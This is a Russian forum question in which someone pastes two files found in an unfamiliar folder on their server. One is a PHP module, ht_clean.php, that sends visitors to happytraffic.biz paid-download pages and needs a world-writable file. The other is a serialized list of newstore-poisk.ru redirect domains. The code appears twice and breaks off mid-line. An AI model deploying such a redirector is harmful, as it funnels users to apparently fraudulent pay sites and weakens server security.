вопрос
привет нашол на сервере папку в ней два файла в одном
в другом
<?
/**
Модуль, направляющий ссылки на платники happytraffic.biz
Для работы скрипта, необходимо выставить права 777 на файл ht_domains
ссылаться на файл нужно следующим образом. Пример:
http://yoursite.com/ht_clean.php?f=[номер потока]&q=[поисковый запрос]&type=[тип платника]&ms=[id платника для мобильников]&t=[использовать ли ТДС]&sl=[ссылка на реальные файлы]
например такая ссылка
http://yoursite.com/ht_clean.php?f=1&q=windows&type=getmedia
будет вести на сайт типа GetMedia (параметр type=getmedia) с поисковым запросом windows (q=windows) и потоком 1 (f=1).
ТДС не используется (нет параметра &t) и ссылка на реальные файлы не передается (нет параметра &sl)
Параметры f (поток) и type (тип платника) являются обязательными, остальные параметры опциональны.
ссылка или ссылки на реальные файлы передаются разделенными вертикальной чертой (|) и закодированные функцией base64_encode();
Например, для передачи ссылок на файлы http://happytraffic.biz/modules/ht_dle.zip и http://happytraffic.biz/modules/ht_wp.zip, их необходимо соединить вертикальной чертой
и применить функцию base64_encode():
base64_encode('http://happytraffic.biz/modules/ht_dle.zip|http://happytraffic.biz/modules/ht_wp.zip');
Результат: aHR0cDovL2hhcHB5dHJhZmZpYy5iaXovbW9kdWxlcy9odF9kbGUuemlwfGh0dHA6Ly9oYXBweXRyYWZmaWMuYml6L21vZHVsZXMvaHRfd3Auemlw
*/
function getUrl($url)
{
$can_fgc = false || (ini_get("allow_url_fopen") && function_exists("file_get_contents"));
$can_curl = false || function_exists("curl_init");
if ($can_fgc) return @file_get_contents($url);
if ($can_curl)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($ch);
curl_close($ch);
return $out;
}
return false;
}
function update()
{
$need_clean = false;
$domains_file = 'ht_domains';
$domains_array = Array();
if (!file_exists($domains_file)) $need_clean = true;
if (!$need_clean)
{
$txt_list = file_get_contents($domains_file);
$clean_domains = unserialize($txt_list);
if (!$clean_domains || $clean_domains["time"]
/**
Модуль, направляющий ссылки на платники happytraffic.biz
Для работы скрипта, необходимо выставить права 777 на файл ht_domains
ссылаться на файл нужно следующим образом. Пример:
http://yoursite.com/ht_clean.php?f=[номер потока]&q=[поисковый запрос]&type=[тип платника]&ms=[id платника для мобильников]&t=[использовать ли ТДС]&sl=[ссылка на реальные файлы]
например такая ссылка
http://yoursite.com/ht_clean.php?f=1&q=windows&type=getmedia
будет вести на сайт типа GetMedia (параметр type=getmedia) с поисковым запросом windows (q=windows) и потоком 1 (f=1).
ТДС не используется (нет параметра &t) и ссылка на реальные файлы не передается (нет параметра &sl)
Параметры f (поток) и type (тип платника) являются обязательными, остальные параметры опциональны.
ссылка или ссылки на реальные файлы передаются разделенными вертикальной чертой (|) и закодированные функцией base64_encode();
Например, для передачи ссылок на файлы http://happytraffic.biz/modules/ht_dle.zip и http://happytraffic.biz/modules/ht_wp.zip, их необходимо соединить вертикальной чертой
и применить функцию base64_encode():
base64_encode('http://happytraffic.biz/modules/ht_dle.zip|http://happytraffic.biz/modules/ht_wp.zip');
Результат: aHR0cDovL2hhcHB5dHJhZmZpYy5iaXovbW9kdWxlcy9odF9kbGUuemlwfGh0dHA6Ly9oYXBweXRyYWZmaWMuYml6L21vZHVsZXMvaHRfd3Auemlw
*/
function getUrl($url)
{
$can_fgc = false || (ini_get("allow_url_fopen") && function_exists("file_get_contents"));
$can_curl = false || function_exists("curl_init");
if ($can_fgc) return @file_get_contents($url);
if ($can_curl)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($ch);
curl_close($ch);
return $out;
}
return false;
}
function update()
{
$need_clean = false;
$domains_file = 'ht_domains';
$domains_array = Array();
if (!file_exists($domains_file)) $need_clean = true;
if (!$need_clean)
{
$txt_list = file_get_contents($domains_file);
$clean_domains = unserialize($txt_list);
if (!$clean_domains || $clean_domains["time"]
в другом
a:38:{i:1;a:3:{s:2:"id";s:1:"1";s:3:"url";s:38:"http://loadzarchive.newstore-poisk.ru/";s:4:"type";s:11:"LoadsArchiv";}i:2;a:3:{s:2:"id";s:1:"2";s:3:"url";s:36:"http://media-club.newstore-poisk.ru/";s:4:"type";s:9:"MediaClub";}i:3;a:3:{s:2:"id";s:1:"3";s:3:"url";s:34:"http://zakachay.newstore-poisk.ru/";s:4:"type";s:11:"ZakachArhiv";}i:5;a:3:{s:2:"id";s:1:"5";s:3:"url";s:36:"http://rusarchive.newstore-poisk.ru/";s:4:"type";s:13:"RusArchivFile";}i:6;a:3:{s:2:"id";s:1:"6";s:3:"url";s:34:"http://qipfiles.newstore-poisk.ru/";s:4:"type";s:3:"QIP";}i:7;a:3:{s:2:"id";s:1:"7";s:3:"url";s:36:"http://zakachaika.newstore-poisk.ru/";s:4:"type";s:10:"Zakachaika";}i:8;a:3:{s:2:"id";s:1:"8";s:3:"url";s:36:"http://letitfiles.newstore-poisk.ru/";s:4:"type";s:8:"LetitBit";}i:9;a:3:{s:2:"id";s:1:"9";s:3:"url";s:34:"http://getmedia.newstore-poisk.ru/";s:4:"type";s:8:"GetMedia";}i:10;a:3:{s:2:"id";s:2:"10";s:3:"url";s:35:"http://gigafiles.newstore-poisk.ru/";s:4:"type";s:9:"GigaFiles";}i:11;a:3:{s:2:"id";s:2:"11";s:3:"url";s:31:"http://q2012.newstore-poisk.ru/";s:4:"type";s:7:"Qip2012";}i:12;a:3:{s:2:"id";s:2:"12";s:3:"url";s:44:"http://your-file-download.newstore-poisk.ru/";s:4:"type";s:16:"YourFileDownload";}i:13;a:3:{s:2:"id";s:2:"13";s:3:"url";s:37:"http://tor-tracker.newstore-poisk.ru/";s:4:"type";s:10:"TorTracker";}i:14;a:3:{s:2:"id";s:2:"14";s:3:"url";s:35:"http://filespace.newstore-poisk.ru/";s:4:"type";s:9:"FileSpace";}i:16;a:3:{s:2:"id";s:2:"16";s:3:"url";s:40:"http://gigabit-mobile.newstore-poisk.ru/";s:4:"type";s:14:"Gigabit Mobile";}i:17;a:3:{s:2:"id";s:2:"17";s:3:"url";s:36:"http://mobile-qip.newstore-poisk.ru/";s:4:"type";s:9:"QipMobile";}i:18;a:3:{s:2:"id";s:2:"18";s:3:"url";s:34:"http://ya-files.newstore-poisk.ru/";s:4:"type";s:7:"YaFiles";}i:19;a:3:{s:2:"id";s:2:"19";s:3:"url";s:38:"http://zaicev-files.newstore-poisk.ru/";s:4:"type";s:11:"ZaicevFiles";}i:20;a:3:{s:2:"id";s:2:"20";s:3:"url";s:36:"http://kino-files.newstore-poisk.ru/";s:4:"type";s:4:"Kino";}i:21;a:3:{s:2:"id";s:2:"21";s:3:"url";s:35:"http://kinoworld.newstore-poisk.ru/";s:4:"type";s:9:"KinoWorld";}i:22;a:3:{s:2:"id";s:2:"22";s:3:"url";s:36:"http://game-stock.newstore-poisk.ru/";s:4:"type";s:9:"GameStock";}i:23;a:3:{s:2:"id";s:2:"23";s:3:"url";s:33:"http://vkfiles.newstore-poisk.ru/";s:4:"type";s:8:"VK-Files";}i:24;a:3:{s:2:"id";s:2:"24";s:3:"url";s:39:"http://filesdownload.newstore-poisk.ru/";s:4:"type";s:13:"FilesDownload";}i:25;a:3:{s:2:"id";s:2:"25";s:3:"url";s:36:"http://musicstock.newstore-poisk.ru/";s:4:"type";s:11:"Music Stock";}i:26;a:3:{s:2:"id";s:2:"26";s:3:"url";s:35:"http://poiskovik.newstore-poisk.ru/";s:4:"type";s:9:"Poiskovik";}i:27;a:3:{s:2:"id";s:2:"27";s:3:"url";s:31:"http://rutor.newstore-poisk.ru/";s:4:"type";s:5:"RuTor";}i:29;a:3:{s:2:"id";s:2:"29";s:3:"url";s:29:"http://5ka.newstore-poisk.ru/";s:4:"type";s:3:"5ka";}i:30;a:3:{s:2:"id";s:2:"30";s:3:"url";s:37:"http://referatbest.newstore-poisk.ru/";s:4:"type";s:11:"ReferatBest";}i:31;a:3:{s:2:"id";s:2:"31";s:3:"url";s:35:"http://fastpoisk.newstore-poisk.ru/";s:4:"type";s:9:"FastPoisk";}i:32;a:3:{s:2:"id";s:2:"32";s:3:"url";s:36:"http://gamerocket.newstore-poisk.ru/";s:4:"type";s:10:"GameRocket";}i:33;a:3:{s:2:"id";s:2:"33";s:3:"url";s:36:"http://zaycev-mob.newstore-poisk.ru/";s:4:"type";s:12:"ZaycevMobile";}i:34;a:3:{s:2:"id";s:2:"34";s:3:"url";s:37:"http://referat-mob.newstore-poisk.ru/";s:4:"type";s:13:"ReferatMobile";}i:35;a:3:{s:2:"id";s:2:"35";s:3:"url";s:39:"http://bankreferatov.newstore-poisk.ru/";s:4:"type";s:13:"BankReferatov";}i:36;a:3:{s:2:"id";s:2:"36";s:3:"url";s:34:"http://kino-mob.newstore-poisk.ru/";s:4:"type";s:10:"KinoMobile";}i:39;a:3:{s:2:"id";s:2:"39";s:3:"url";s:37:"http://filesloader.newstore-poisk.ru/";s:4:"type";s:11:"FilesLoader";}i:40;a:3:{s:2:"id";s:2:"40";s:3:"url";s:37:"http://prostopoisk.newstore-poisk.ru/";s:4:"type";s:11:"ProstoPoisk";}i:43;a:3:{s:2:"id";s:2:"43";s:3:"url";s:35:"http://studyload.newstore-poisk.ru/";s:4:"type";s:9:"StudyLoad";}i:47;a:3:{s:2:"id";s:2:"47";s:3:"url";s:39:"http://documentpoisk.newstore-poisk.ru/";s:4:"type";s:13:"DocumentPoisk";}s:4:"time";i:1355995552;}